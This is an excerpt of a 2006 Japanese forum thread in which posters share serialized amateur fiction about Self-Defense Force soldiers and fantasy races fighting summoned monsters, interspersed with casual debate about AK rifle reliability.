 まぶたから感じる光に樹はぼんやりとしつつ、目を開けた。
どうやら眠っていたらしい。
目が覚めると同時に、空腹を覚えてしまう。
歩くのがおっくうになりつつあったが、喉が乾いているのをおぼえ、緩慢ではあ
るものの体を起こし、水を求めて歩き出した。

 乾きと空腹とで、ふらふらになりかけた時、樹の耳に水音が飛び込んできた。
期待感に胸を膨らませながら、歩き寄ると意に違わず、川を流れる水が川底に
つらなる岩に当たって砕ける音が響いていた。

 水辺にひざまずき川の水を両手ですくって口にする。そしておもむろに顔を
洗った。
樹の顔にようやく生気が戻ったのだった。

393 名前: 小官 ◆qG4oodN0QY 2006/06/26(月) 06:10:03 ID:???

>>364にインスパイア。

 「グヘへへ…逃がさんぞぉ!」
 「公子…私を置いてお逃げ下さい…」
 「君は弧の臣だ! 弧は見捨てない! 絶対に!」

 少年は少女を背負い、ふらつきながらも走る。その整った容貌と、眼差しは
上品さを感じさせた。背後の彼らを追う男達は、獣欲と悦楽の想像でその目を
血走らせていた。わざと距離を置いているのは嬲るためだろう。

 「で…ん…か…」

 少女の目に涙が滲み、溢れた。それは砂埃に汚れた少年の頬に当たり、一筋の
清流を作る。苦しい息の中、少年は少女に微笑んで見せた。心配無いのだぞ、と
口を開きかけたその時、矢羽の風斬音が少年の耳を劈く。足が何かに引っかかり
少年は派手に転倒する。…無情にも、矢が地面に生えていたのだ。

394 名前: 小官 ◆qG4oodN0QY 2006/06/26(月) 06:11:42 ID:???

 
 「ひゃはは、どうした公子! もう終わりかよ?」
 「へへへ…俺、あの女の初物を頂く」
 「女の歯ぁ折っとけよ? 噛み切られるとコトだぜ?」
 「おりゃ公子だ! 旨そうだ…」

 わざと遅めに接近してくる男達を振り向き、少年は闘志を隠さず睨み付ける。
しかし男達にはそれも獣欲の気の効いた香辛料に過ぎない。少女は己の無力さに
悔し涙を流し、そばの瓦礫に拳を叩き付ける。その時、瓦礫の下から現れたのは
所々が錆びた剣だった。『我を使え』と剣が言っている様に少女は感じ、繊手を
伸ばす。だが…

 『ちょおっと待ったぁ! 俺を使いな、心奇麗な坊ちゃん嬢ちゃん! 』

 誰かに呼ばれた気がした少女は、剣の柄に伸ばす手を止め、声の主を探す。下だ。
 その隣に手に取りやすい不思議な形をした、見た事の無い素材で出来た握りがあった。
少女はそれに手を伸ばし、握る。それは剣よりもはるかに軽く、石弓に似た構造をした
鋼の物体だった。少女は男達にそれを向け、狙いを付け、ゆっくりと引鉄を絞る。
破裂音と硝煙臭が、2人を包んだ。

395 名前: 小官 ◆qG4oodN0QY 2006/06/26(月) 06:12:51 ID:???

でEDは2通り。
・暴発で少年少女シボンぬ。
・追っ手撃退。

あとは任せた!

396 名前: 名無し三等兵 2006/06/26(月) 07:22:01 ID:???

AK以外の大抵の銃は、まめに手入れしないと撃てなくなるとか…で、89式はその辺どうなっているのでしょう?
やはり手入れは必要な方でしょうか?

397 名前: 名無し三等兵 2006/06/26(月) 21:50:01 ID:???

ゴルゴ13でAKについて書いてあった巻があったな・・・
AK−100なら発射後、2ヶ月ほっといても撃てるとかなんとか

398 名前: 名無し三等兵 2006/06/26(月) 22:29:31 ID:???

AK(特にAK47,AKM)は粗悪品の代名詞。
不正確さと性能の悪さでは右に出るものが無い銃。
機構は簡素だが、作動の信頼性が他の小銃に比べて、特に勝ってるとは言えない。
旧ソ連によるばら撒きと、それに伴うコピーと低価格化で今の繁栄がある銃。
撃てて当たればそれで良し。なんて、今どきの軍隊には通用しない。

399 名前: 名無し三等兵 2006/06/26(月) 22:42:28 ID:???

>>398
ところで、状況の設定が>>393-395だとするとその辺はどうなるのだろう?
(整備なしで放置されている銃を使うしかないとすれば、どちらがありがたいか。)
1:メンテナンスが必須な銃。
2:多少粗雑に扱っても一応は動く銃。



400 名前: 名無し三等兵 2006/06/26(月) 22:45:52 ID:???

メンテナンスが不必要な銃など無い。どんな銃だろうが、粗雑に扱った後でも一応は動く。

401 名前: 名無し三等兵 2006/06/26(月) 23:24:13 ID:???

>>396
「おれには、これしかないんだ! だから、これが いちばんいいんだ!!」状態の
自衛官に比較レビューなんかできるわけねぇ。
もし良い銃だと感じたら、当人の中ではそれっきりだろ。

402 名前: 名無し三等兵 2006/06/27(火) 00:19:11 ID:???

AKは各部品の間にわずかな隙間が設けてあって
精度が悪くてサイズとか微妙にあわない銃弾でも
ちゃんと撃てて排莢もできるように作られているのでー

べつにぶっ壊れにくいのは高性能じゃなくて大雑把だからというだけです

403 名前: 名無し三等兵 2006/06/27(火) 01:02:29 ID:???

要するに牛丼ですね

404 名前: 名無し三等兵 2006/06/27(火) 01:05:00 ID:???

>精度が悪くてサイズとか微妙にあわない銃弾でも
>ちゃんと撃てて排莢もできるように作られているのでー

既存の殆どの銃はそれが普通ですよ。
いまだ、薬室の現物すり合わせ調整で工程終える銃がほとんどなのに(AKもしかり)。
突撃銃で、弾丸の微小なサイズ精度を問題にする意義も技術も無いです

さて、小官氏の>>396に対する返答はまだでしょうか。

405 名前: 名無し三等兵 2006/06/28(水) 01:09:27 ID:???

>>402
一行目だけ正しくて、2.3.行目が間違っているから答えも間違っている。

 可動部の隙間が大きく作られていて、『多少隙間に塵などが入っても動作に支障がない』 ので、
悪条件でも稼働しやすい。
 これは稼働率が高く、信頼性が高くなり、工作精度の低さを補う。
しかも必要十分な機能があるため『良い銃』と判断された。

 部品点数も少なく分解も楽で、結果として整備を忌避されにくい。=整備される
部品点数を多くして同様の機構を組めば、性能は上がるかもしれないが、同時に複雑さと信頼性の低下を招く。
また、重さも増大しやすいとなれば、『兵士が持つ銃』として、AKは非常によく考えられている。

大雑把ではなく堅牢なのだ。

406 名前: 元1だおー 2006/06/28(水) 15:13:35 ID:???


「分隊長」
「なんだね?」
「我々が相手と格闘になったら、間違っても援護射撃はしないでください」
「……分かった」

霧に視界を奪われた世界で、ルールカとセティス、そしてレプと柴田は不審者の捕獲を試みようとしていた。
微かに水玉を載せた草に身を潜め、風がそよぎ、草がざわつく音に紛れて慎重に匍匐前進する。
トーチカから出てしばらく進んだところで、柴田とレプを後詰めに、ルールカとセティスで先行し、相手を捕獲することをなった。
この霧の中では、柴田は足手纏いだし、ルールカの性格上、危険な目に遭わせたくなかったのかもしれない。
足手纏いの柴田が捕獲班に入っているのは、柴田がどうしてもトーチカ内で待っていることができないと珍しく主張したからだった。
そして分隊長が陣頭指揮を執るという、もっともらしい理由でついてきたのだ。
ルールカが、レプを捕獲班にアサインしたのが、理由だった。
その時、ルールカは、何かレプに関して特別な何かを知っているようだった。
レプ自身、それを承知しているようにさえ見える。
それがなんなのか、知りたくもあったし、ただ自分勝手に、レプを危険な目に遭わせたくないという思いもあった。
こんなに積極的になったのも、また久しぶりだった。


407 名前: 元1だおー 2006/06/28(水) 15:14:13 ID:???

「……では」

そんな柴田を知ってか知らずか、ルールカは穏やかでも険しいわけでもない、
どこか能面のような魂の宿らぬ表情で、セティスを従えて霧の中に消えていった。
あの表情は、彼の緊張の現れであることは想像に難くない。
柴田は生唾を呑み込んだ。
風にそよぐ草の音のみの世界になった途端、異常なほど時間が長く感じられるようになった。
腕時計を確認し、彼らの背中が見えなくなって一分しか経過していないことに苛立つ。

「ぶんたいちょ」

レプがそっと柴田の袖を引っ張った。

「なんだ?」

振り返るとレプはヘルメットを脱いでいた。
紅い髪から犬耳がぴょこりと二つ、まるでレーダーのように前を向いて立っている。
彼はそっと目を閉じて耳を澄ましているようだった。
どうやらレプは聴覚に優れているようだ。
ルールカが彼をアサインしたのはこのためなのだろうか。


408 名前: 元1だおー 2006/06/28(水) 15:15:07 ID:???

「……様子がおかしいわぅ」
「何?」

柴田は最悪の事態を予想した。
まさか、返り討ちにでも!

「言い争う声が聞こえるんです……」

柴田の驚愕の表情に気付いたレプが、誤解を解くように付け加えた。
言い争う声?
柴田も耳を澄ますと、確かに、ほんの少しだが、人の声らしいものが聞こえる。
ここで待っていろとルールカに言われたものの、不測事態であれば臨機応変に動くべきだろう。
柴田はレプにそう話すと、小銃で再び藪こぎを始めた。
そして五分ほど経った頃、ようやくルールカ達の姿を発見した。
幸い、無事のようだ。
安堵のため息を漏らし、柴田は駆け寄る。


409 名前: 元1だおー 2006/06/28(水) 15:15:59 ID:???

と、

「俺は敵じゃねえぞ! 援軍だぁー!」

柴田とレプは、顔を見合わせた。
目の前で、ロープで鮮やかなほど見事に縛り上げられ転がされている二つの物体に、思わず思考停止に陥ってしまったのだ。

「暴れ回るので難儀しました」

呆れた様子で話すルールカを見上げ、捕縛された男が吠える。

「お前バッカじゃねえの!? 俺のどこが大陸人に見えるんだよ!?」

柴田はようやく思考が正常に戻った頭で、今の状況を確認した。
この男、本人が言う通り、確かに顔は日本人のようだ。よく見るとかなり若い。まだ二十歳にもなっていないだろう。
顔は確かに日本人だが、しかし、この男は今、顔に迷彩ドーランを塗りたくっており、
果たして本当に黄色人種の肌の色をしているのかは分からなかった。
服装は陸自の迷彩服姿。ルールカ達にひっぺがされたのか、鉄帽や戦闘装具、そして小銃などは離れた場所に纏めておかれていた。
これを見るに、男は日本人、それも自衛官であることはどうやら間違いではなさそうだ。
そしてどうやってこの高地にやってきたかは、もう一人の捕縛された者が暗に説明していた。


410 名前: 元1だおー 2006/06/28(水) 15:16:40 ID:???

「……ったく陸自の連中は話が通じないから嫌だぜ。用意周到頑迷堅固とはいったもんだ」

ハスキーな女性の声だった。
着剣した小銃をセティスに突きつけられた状態で、不適な笑みを浮かべて彼を見上げている。
はっとするような美女だった。年齢は二四、五歳くらいだろうか。
切れ長の瞳が白銀のような神秘性に満ちた輝きを宿し、
同じ色と鮮やかな光沢を持つ長髪が、草露に濡れた頬に張り付いているのが、その強気そうな貌達と相まって野性的な美しさを醸し出していた。
捕縛され銃をつきつけられていることに動じた様子もなく、皮肉めいた言葉を口にすることからも、強気な性格がうかがえる。
だが、柴田が目を見張ったのは女の美貌ではなかった。

「わぁう!? 鳥さんみたいわぅ!」

レプが思ったことをそのまま口にしていた。
そう、女の背中には、純白の巨大な翼≠ェ生えていたのだ。
背負ったりしている装飾品ではない。本当に身体の一部として存在しているのだ。
これで飛んで来たというのか。
柴田はしばし呆然と、畳まれた状態の翼を凝視していたが、ようやく我に返ってルールカに尋ねた。


411 名前: 元1だおー 2006/06/28(水) 15:17:31 ID:???

「か、彼らはいったい?」
「増援が来るなど聞いておりません。もしかしたら、日本人によく似た人間を変装させて潜入させる作戦だったのかもしれません」

ルールカは二人の間抜けな姿に呆れつつも、油断のない視線で監視しながらそう答えた。

「かぁー。アッタマ硬えなぁ。そんなだから陸自は人気ないんだよ」

平然と陸自の人間が聞けば怒り出しそうな台詞を言ってのけながら、彼女は続いて自分同様に縛られている男の方に顔を向けた。

「……その陸自のあんちゃんの熱意に負けて命令違反して飛んできたら、とっつかまってスパイ扱いたぁねぇ」
「ああ悪かったよ! 全部俺のせいだ!」

皮肉たっぷりに言う女の様子に、その場の隊員らが互いに顔を見合わせた。
どうもこの二人は、本当にスパイなどではないような気が柴田にはした。
なんというか、会話が日本人らしいのだ。
この大陸の人間で、こんな調子の軽口を叩く人間はあまりいないだろう。
しかも、翼の女性に関しては、日本人でさえほとんど知らないであろう陸海空の自衛隊を皮肉った熟語まで口にしている。
いくらスパイでも、そんな下らないことまで知識を持っているとは考えにくかった。


412 名前: 元1だおー 2006/06/28(水) 15:18:19 ID:???

「命令違反?」

その場の代表として柴田は彼に顔を近づける。

「ああ。実はちょっとワケありで……ん?」

柴田を見上げた男が、柴田の後ろに立つルールカらを改めて見て、突然表情が変わった。

「あ、あれ?」

当のルールカも、いやセティスまでが、黒塗りの男の顔を再確認して驚きの表情を浮かべる。

「お前、ルールカじゃねえか?」

柴田は男の言葉に驚きを隠せなかった。
まさか、知り合いなのか?
疑問が顔に出ていたのか、ルールカが慌てて柴田に説明した。

「か、彼は教育隊の自分らの同期です」

彼にしては珍しく、説明する様子に戸惑いが感じられた。
説明を受けた柴田も、信じられない思いで再び男を、いや、部下の同期というのだから少年に近い年齢であろう男を凝視した。
男は身をよじって喜びと興奮を表現するように叫んだ。


413 名前: 元1だおー 2006/06/28(水) 15:19:06 ID:???

「あっははぁ! こりゃ好都合だ」

「なんでもいいから早く縄ほどいてくれよ陸自さんよぉー」

思わぬ展開に狼狽しながらも、セティスが銃剣で縄をすぐに解いてやる。
自由の身になった男は、地面に転がったせいで濡れてしまった迷彩服を気持ち悪そうにつまみながら、安堵のため息を一つつく。
一方、翼の女性は、その天使のような翼を思い切り伸ばした。鳥の屈伸のようだった。
そして、畳まれていて今まで分からなかったが、その純白の翼の中央には、赤く丸い模様が染められていた。
日の丸だった。
丁寧なことに、認識番号らしき数桁の数字と、JASDF、とアルファベットも翼の小脇に小さく塗られている。
まるで人型のゼロ戦だな、と柴田は感じた。
自分達とは存在を異にする天使のような外見と、空自のグレーの作業服と装備、そしてその日の丸が、ミスマッチで、生々しい。
何見てんだ、見せ物じゃねえぞ、と視線に込めた女がじろりと柴田を睨み、慌てて目を逸らす。

「タカアキっ!」

柴田が女の翼に目を奪われていると、悲鳴のような声を上げてレプが男に駆け寄っていった。
何事かと柴田が視線を転じた時、男とレプは固く抱擁しあっていた。
そして、レプがまるで幼子のような、我を忘れた様子で嗚咽する。


414 名前: 元1だおー 2006/06/28(水) 15:19:44 ID:???

「うあぁああぁ! タカアキ……あぅ……タカ…あき」
「馬っ鹿……泣く奴あるか」

男がそんなレプをあやすように頭をくしゃくしゃと撫でている。
男の瞳にも、うっすらと涙がたまっていた。
柴田は理解した。
バディと一緒に卒業したかった
そうか……君なのだな。
柴田は迷彩服姿の二人の少年の姿に、心の芯が温かく溶かされるような安心感を抱いた。
みっともなく涙を流す二人の姿が、三十五年前の、自分とそのバディに重なる。
輝ける未来もなく、幸せな過去もないけれど、不器用で、必死になって今をあがいていたあの頃の二人に。
柴田はなんとなく、男の様子に、何故彼がこんな戦場に飛び込んできたのか、分かったような気がした。
理由などないのだ。
ただ、仲間を見捨てられなかった。
赤の他人のためになど、と現代の日本人の多くには、理解されぬ絆≠ニいう感覚。
信じることが幻となってしまったあの国で、数少ないはみ出し者≠フ一人。
それが、レプのバディなのだ。
柴田は、レプが泣きやむまで、男が彼の頭を撫でるのを止めるまで、ただじっと、その光景を眺めていた。



415 名前: 元1だおー 2006/06/28(水) 15:20:24 ID:???




「二等陸士竹内孝明! 本日をもって、異種族部隊に編入を希望しますっ!」

トーチカの中でそう自分に申告したレプのバディに、部下達、つまりこの少年の同期達から大きな拍手と歓声が上がった。

「……今更、追い返すわけにもいかないしな。承認する。ようこそ」

他に応えるべき言葉が見つからなかった。
彼はきっと、漠然とであろうとも死の覚悟さえしてきているはずだ。かつて、助教に食って掛かった自分がそうだったように。
そんな人間に、何かを偉そうに命令できるほど、自分は度胸はなかった。


416 名前: 元1だおー 2006/06/28(水) 15:21:36 ID:???

「で、空自さんはどうしますか?」

もう一方の珍客である、見た目の神秘さとは裏腹に、随分と口の悪い航空自衛隊所属のハーピィとかいう異種族の隊員に尋ねる。

「空自さんじゃねえ、フェチカ二等空士だ」

こちらを陸自と呼び捨てにする割には自分の名前にはうるさいらしい。
勇猛果敢支離滅裂。陸自とどっこいどっこいだ、と柴田は思ったが、口には出さないでおく。
しかし、大抵の異種族隊員は日本人に対して最低限の敬意は払うものだが、
曹長の柴田にタメ口をきくあたり、ある意味彼女は強者かもしれない。
あるいは、自分が敬意を払う価値さえない存在だと思われているのか。
そのフェチカは翼が狭いトーチカ内では邪魔なのか、かなり居心地が悪そうだった。
そのせいで眉間に皺を寄せているようだが、美人なのでそれでも絵になる。
むさ苦しい戦場には不釣り合いな存在だった。



417 名前: 元1だおー 2006/06/28(水) 15:23:01 ID:???

「空自のハーピィ部隊がなんでまた我が盟友タカアキ殿を運んだりしたのだ? それもたった一人で……」

セティスが質問すると、ああん、と彼女は胡乱(うろん)気な目つきで振り向く。

「……あんたのその盟友さんから聞きな」
「なっ!?」

ぷいっとぶっきらぼうにそっぽを向くフェチカに、セティスのこめかみに青筋が浮かぶ。

「まぁまぁ」

慌てて竹内が割って入り、説明する。

「まぁなんだ、要するに、俺、脱走してきたんだよ」

あらかた予想していた答えだった。
そもそも日本人隊員を撤収させたここに、たった一人新隊員を送り込んでくるわけがないのだ。
なにかしら想定外の存在であることは想像に難くない。


418 名前: 元1だおー 2006/06/28(水) 15:23:47 ID:???

「んで、無理言って俺を運んできてもらったのが……」

「この無礼なハーピィというわけだな」

セティスが鋭い目つきでフェチカを睨む。
彼女はそんな彼に中指を立て、激昂するのを見て喉の奥でくっくと笑っている。
口だけでなく、それに比例して性格も歪んでいるようだった。

「あーあ、無理だったぜ。武装した男一人を百キロも飛んで運んできたんだ。
あたしが質量軽減魔法と風の精霊魔法を使えなかったら無理もいいとこだった。
そんな苦労までしてあたしは帰還すればどんな処罰が待ってるのやらね」

皮肉たっぷりに鼻で笑い、弾薬箱の上に足を組んで腰を下ろしている彼女に、
竹内はさすがに命令違反な上に危険な場所に運んできてくれたことに負い目を感じているのか、ひたすら手を合わせて謝るばかりだった。
そして、こんな性格の悪い、言い換えればはみ出し者≠ナなければ、こんな場所へ行動を共にしてくれはしなかったのだろう。
考えていて柴田は少し楽しくなってしまった。
ここにいる連中は皆、日本の普通≠ゥら逸脱した者ばかりだ。
全てを失った自分に、そもそも日本人ですらない隊員達、そして、その仲間を見捨てられずに自ら死地へ飛び込んできた少年。
しかし、それがむしろ柴田には心地よかった。
ここには、目的を同じくした者しかいないのだ。例えようのない一体感のようなものがある。


419 名前: 元1だおー 2006/06/28(水) 15:24:50 ID:???

個人主義全盛の時代、こんな場所は危険な新興宗教でもない限り、ないのではないか。
さかしまにいえば、そんな一体感や安心感がないのが、今の日本という国なのだ。
絆≠フ消失した国。
戦後の教育、失われた十年と様々に言われているが、
一番の原因は、日本人そのものが、武士道や恥の概念という精神的支柱を捨ててしまったからだ。
欧米人でさえ、統計で結婚に必要なものの一番に男女とも愛≠ニ答えたが、日本人は経済力≠セった。
今の日本国民全員が共通する思想は、金だけなのだ。それ以外が信じられない者も多い。
金が人間の価値さえ決めてしまう。勝ち組、負け組と。
ホームレスを殺害する少年達も、金を持っていない人間は人としての価値がないという深層心理が働いている。
人間の尊厳というものさえ、今の日本では金の前では無力だ。金で全てが買える。本気でそう信じている。
金以外の真実を知らない人間達。
だが、異種族隊員らは、祖国への忠義ため。竹内は、仲間との絆のために。
金も、血のつながりもない。
多くの日本人からしてみれば、全く理解できない愚か者なのかもしれない。事実、そうなのかもしれない。
だがそれでも、自分の信じるもののために全てをかけているのだ。
後悔など、していない。


420 名前: 元1だおー 2006/06/28(水) 15:25:45 ID:???

そう、山下を救うために殺されかけたのも、後悔なんてしなかった。
あそこで死んでいても、自分は後悔しなかったんだ。
今だって、そうだ。
部下を生きて帰すことができれば、命なんていらない。
そうして悔いなく死ねたとき、自分は、胸を張って地獄に堕ちていけるかもしれない。
そうだな。きっと、そうだ。
努……京香……。
だから、天国から、この哀れな男を見守っていてくれ。
そして、神様。
もし、もしもおられるのなら。
どうか……この健気な若者達を、お守りください。
柴田はそっと瞑目した。
だが、そのつかの間の平和を打ち消すように、司令部と有線されているマグ電話がけたたましい呼び出し音を鳴らした。
封鎖しているわけではないが、設置してからほとんど使用されていなかっただけに、トーチカ内の皆が振り向いた。



421 名前: 元1だおー 2006/06/28(水) 15:26:50 ID:???

「はい。こちらポスト・スリー」

柴田はすぐにその一昔前の黒塗りの受話器を取って交信ボタンを押し込んで話す。
そして、日本人隊員がいなくなったため仕事が増えているのか、司令部の慌ただしい雑音混じりに、興奮した口調を柴田は聴いた。
柴田は微かに震える手で受話器を置いた。
静寂がトーチカを支配する。

「分隊長。何と?」

セティスの問いに、柴田はゆっくり振り向いて答えた。
心なしか、その顔は青ざめている。

「……総員、戦闘配置」

全員が、柴田の発した言葉の意味を理解できなかった。
柴田は、覚悟を決めたような顔に変わると、静かに、だが重く言葉を発した。

「我が方の斥候が、敵の大部隊を発見、間もなくここへ到達するものと思われる。
各部隊、徹底抗戦し、形勢不利であれば機を見て撤退。予備陣地に集合せよ、とのことだ」

水を打ったような静けさだった。


422 名前: 元1だおー 2006/06/28(水) 15:27:32 ID:???

絶望的な状況下。いつか来るとは理解していても、
心のどこかで何もおこらないでいてほしいと願っていたことが、遂にやってきてしまった。
ややあって、皆は不安を押し殺した決意の表情を顔に貼り付け、互いに頷きあった。


「いよいよ来ましたか」

ルールカが機銃に取りつき、まだ霧の濃い下界をじっと睨む。
そして、全部隊が銃口を外へ向けて待ちかまえる中、進撃を伝える角笛の朗々たる音色だけが、風に乗って微かに聞こえてきた。
ひたすらに待つ。
いや、実際はそう長く時間は経っていない。
身体の中で、肺と心臓だけが生きているような、緊張のあまり全身の筋肉が硬直したような感覚に襲われる。
そして、白い霧の中から、黒い影が少しずつ現れ始める。
影は最初まるで亡霊のようにゆらゆらと実体の定かでない様子だったが、時間が経つにつれてはっきりとした輪郭を形作り始める。
同時に、敵の興奮に満ちた荒々しい雄叫びも、また。


423 名前: 元1だおー 2006/06/28(水) 15:30:05 ID:???

「……召喚獣か!」

セティスが忌々しげに呟く。
柴田は双眼鏡を手に取ると、倍率を上げて敵兵の姿を観察する。
人間の兵士は一人もいなかった。皆、醜い形相をした獣じみた、いやそれ以上の禍々しさをもった怪物達だ。
そしてそれは、地を覆い尽くさんばかりの数で向かってきていた。
まるで、悪夢を見ているような気持ちで、柴田は気持ちを静めようと深い呼吸を繰り返した。

「ザコ揃いで助かる」

ルールカが鼻で笑う。
その様子に柴田は頼もしさを感じたが、彼の横顔を見つめると、顔は脂汗でびっしりだった。
ここまでおおっぴらに前進してきているのだから、迎撃はたやすい。
しかし敵に後続がいるとしたら、弾薬の消耗が激しくなるのは確実だ。
そして何より、この霧の中では、精密な迫撃砲の支援が受けられないし、有視界距離でしか銃が撃てない。
弾幕を張るほど弾薬に余裕がなく、見えている敵を片っ端から倒すしかないのだが、それは極めて効率の悪い戦い方だ。
敵はそこまで見越して総攻撃を開始したのだろう。
……今までの偵察や、本気とは思えない夜襲。
柴田は異世界の軍隊のことを過小評価していたのに気付いた。


424 名前: 元1だおー 2006/06/28(水) 15:31:26 ID:???

風を切る鋭い音が聞こえてきた。
大軍の中に、数本の火柱が上がる。
迫撃砲が阻止砲撃を開始したようだ。
しかし、と柴田は呻る。

「ダメだ……力負けしてる」

レプのバディ、竹内が呟く。
柴田は叱責しようかとも思ったが、事実なのだからしょうがないと思い直す。
激情に駆られて喚いているように思われても面倒だ。
まるでチンピラのリーダーのような考え方だ、と柴田は少し嫌な気持ちになる。
しかし、そもそも前線指揮官と町中のチンピラのリーダーも、
少数のグループで戦い生き残るという共通の目的の下、学や定石に頼らずに状況を打破していかねばならない。
違いは、戦闘服を着ている事と、雇い主が政府であることくらいなのかもしれない。
現代戦で価値の向上した歩兵だが、この原始的な戦場では、その価値も逆戻りだ。チンピラ指揮官で上等なのかもしれない。
暴力が全てを決する時、学歴や地位や老若男女は関係がなくなるのだから。
何人にも等しく、ただ弱き者が死に、強き者が生き残る世界なのだから。
迫撃砲は、竹内の言うとおり明らかに数と火力が不足していた。
旧軍伝統の二点射撃などでその不足を補おうともしているようだが、焼け石に水に見える。


425 名前: 元1だおー 2006/06/28(水) 15:32:52 ID:???

敵は砲撃に動揺はしているようだが、退こうとはしない。
督戦隊のようなものでも後方にいるのか、狂ったように向かってくる。
距離はもう機銃の射程だった。
ひきつけて命中率を上げ、弾薬の消費を抑えねばならないこちらにとっては、まだ少しだけ遠い。
それに、霧がここでも障害となって敵を有利に導いている。
敵の表情まで分かりそうな距離にまで近づいてやっと、本部から射撃命令が出た。

「撃てぇ!」

前線陣地で一斉に機銃が火を噴いた。
斜面を凄まじい勢いで駆け上がって来ていた敵の前線が一気になぎ倒され、転がり落ちていく。
引きつけられる限界まで引きつけておいたため、吐き出された銃弾はほとんど外れることなく敵をえぐり抜いた。
機銃の連射に最前列がバタバタと倒れたため、勢いに乗っていた後続に混乱が生まれた。
しかし、全体の勢いに押し出されるように、後続はまだ息のある味方を踏み殺すように突進を止めない。
被害を度外視したような暴挙に等しい行動だった。
いや、そもそも被害が出て当然という用兵なのかもしれない。


426 名前: 元1だおー 2006/06/28(水) 15:34:30 ID:???

柴田の陣地の機銃が、四百発ほど撃った頃に、銃身と機関部の加熱が原因か、作動不良を起こした。
そもそも、この六二式機関銃は自衛隊史上最悪の兵器と悪名高く、本来ならMINIMI機関銃に世代交代されているべきものなのだ。
四百発でも撃てただけでもマシだったのかもしれない。
しかし、機関銃が使えなくなるということは、致命的なものだった。
他の陣地でも機銃の音が聞こえなくなった。あちこちで機銃は故障しているようだ。
そしてその火力不足は、敵のさらなる接近を許した。
もう、止めるだけの火力はない。
その時、どこかから拡声器で男の声が聞こえてきた。

「総員、着剣っ!」

それは異種族部隊指揮官、須田のものだった。
本部から、最前線に移ってきたのだ。
彼は、既に普通≠フ戦い方など遂行不能であることを悟った。
もはや、武器となるのは、己の肉体と精神力のみ。
須田の命令に、トーチカの中の全隊員は機銃を捨て、腰から銃剣を鞘走らせた。
他の隊員同様に六四式の銃口に銃剣を取り付ける柴田は、馬鹿らし過ぎて、無意識の内に引きつった笑顔を浮かべていた。
この二一世紀の時代に、白兵戦?


427 名前: 元1だおー 2006/06/28(水) 15:36:04 ID:???

「行くぞっ!」

誰かの興奮した声に弾かれ、トーチカから隊員達が、巣穴からいぶり出されたアリの群れのように次々と飛び出していく。
各々の手に、鈍く光る着剣した小銃を携え、草原に横隊に散開していく中、妖魔達が霧の中から湧き出るように現れ、視界を覆い尽くしていく。
多い。なんて多さだ。
柴田は初めて、本能的な恐怖を感じた。
圧倒的な戦力差で、そして今自分の身を守る術は、この弾の十分ではない小銃と銃剣一本だけなのだ。
現代戦にあるべき砲撃支援や航空支援は一切なく、生身一つで敵と刺し合わねばならない。
怖い。怖くて気が狂いそうだ。
柴田は歯を食いしばった。そして、部下の顔を見渡してみた。
若い隊員らの顔は皆、狂ったように目が血走っている。
レプでさえ、涙を流しながら、歯を食いしばって恐怖をねじ伏せて小銃を構えていた。
その姿の痛々しさに、柴田は、初めて日本という国をはっきりと憎んだ。
こんな子供を戦場に駆り出して、平和を享受している自分の国が、たまらなく醜いと感じた。
客観的に見れば仕方がないことだとしても、納得がいかなかった。
自分達の平和を守るために、異種族の若者を犠牲にしている国など……!


428 名前: 元1だおー 2006/06/28(水) 15:37:22 ID:???

「引きつけろ! 無駄弾を撃つな!」

ルールカが距離が近づいてくる敵との距離を見極めながら叫ぶ。

「目標正面の敵集団距離二百っ! 一斉射撃後、突撃するっ!」

敵の姿がようやく見えたからか、歓喜のような声を上げ、ゴブリンなどの人型の敵が抜剣するのが見えた。

「肩撃ち姿勢、射撃よぉーいっ!」

教育隊で叩き込まれた突撃発起前の射撃姿勢の号令が鳴り響く。

「撃てえぇ!」

轟音が高地を震わせた。
前方の敵がバタバタと倒れるが、それを踏み越えて敵は進撃を続ける。
召喚獣である彼らは、退くという意志を持てないのだ。
彼我の距離は百メートルを切った。
一弾倉を撃ち尽くし、次の弾倉に入れ替える頃には、白兵距離に達していた。
柴田の頭は、真っ白でもう何も考えられなくなっていた。
パニックと恐怖と生存本能からくる闘争心による興奮による、ナチュラル・ハイの一種だった。


429 名前: 元1だおー 2006/06/28(水) 15:38:43 ID:???

「突撃にぃー!」

肩撃ち姿勢から腰だめの刺突姿勢に持ちかえ、無数の銃剣が切っ先を敵に定める。

「進めええぇ!」

地を震わす雄叫びと共に横隊が一斉に動いた。
こちらが動いたことで、彼我の距離が一気に縮まる。
ゴブリンやコボルト、ガルムなどの混成軍団と、異種族混成の自衛隊。
二つの異形の軍勢が、刃を交えんとしていた。
そして高地を土石流のごとく駆け下る異種族隊員らの勢いは、衝突した瞬間に濁流となって弾けた。
敵も、味方も、入り乱れ、そして、殺し合いが始まった。
柴田はその瞬間、自分が何をしたのか認識できなかった。
何か重いものがぶつかってきた。そんな感覚しか湧かなかった。
頬になま暖かい鮮血が降りかかり、柴田は目の前の状況をようやく認識した。
柴田の構えた小銃の銃剣が、ゴブリンの腹を刺し貫いていた。
相手は信じられないといった表情でその銃剣を握り、カッと見開いた目で柴田を睨み付けていた。
柴田は無意識に銃剣を引き抜こうとしたが、抜けなかった。肉が固まっているのだ。
特に抵抗もなく、柴田はゴブリンを片足で蹴り飛ばすようにして無理矢理銃剣を引き抜いた。
絶命したゴブリンの死体が草の上に仰向けに倒れ込むと同時に、周囲の状況に気がついた。
そこは、原始的で、野蛮な世界だった。


430 名前: 元1だおー 2006/06/28(水) 15:40:29 ID:???

五人がかりで一人の異種族隊員が串刺しにされ、悲鳴を上げて助けを乞いていた。
両目を切りつけられ、夢遊病患者のようにさまよう者もいた。
幼い異種族隊員が、もう死んでいる敵に、何度も銃剣を突き立てている。
悲鳴と怒声、散発的な銃声が鳴り響き、まるで悪鬼と化した者達が駆け回る、まさに地獄絵図だった。
戦争。
人間が、種族として誕生し、群れという概念を作り出した時代からこの世に存在していた殺し合い≠ニいう生存競争。
今ここにあるのは、政治的でも思想的でもない、ただ単純な生と死の世界。

「無闇に撃つなぁっ! 貫通して同士討ちになるぞっ!?」
「散らばるな、かたまれ!」
「もう弾がな……がはぁ!?」

必死だった。
皆、命の限りに戦っていた。
生きたい。
ただこの一心で。
だが、敵の数は減らない。
倒しても倒しても湧いて出てくるように新手がやってくる。
最初は散発的だった銃声も、少しづつ消え始める。
もう弾がなく、あってもリロードしている暇がないのだ。


431 名前: 元1だおー 2006/06/28(水) 15:42:21 ID:???

狂乱状態の戦場で、柴田は無意識にレプの姿を探していた。
そして、ガルムに組み敷かれ、必死になって喉を食いちぎられまいともがいている彼の姿を発見する。
柴田は突進すると、渾身の力を込めてガルムの横っ腹に銃剣をねじり込む。
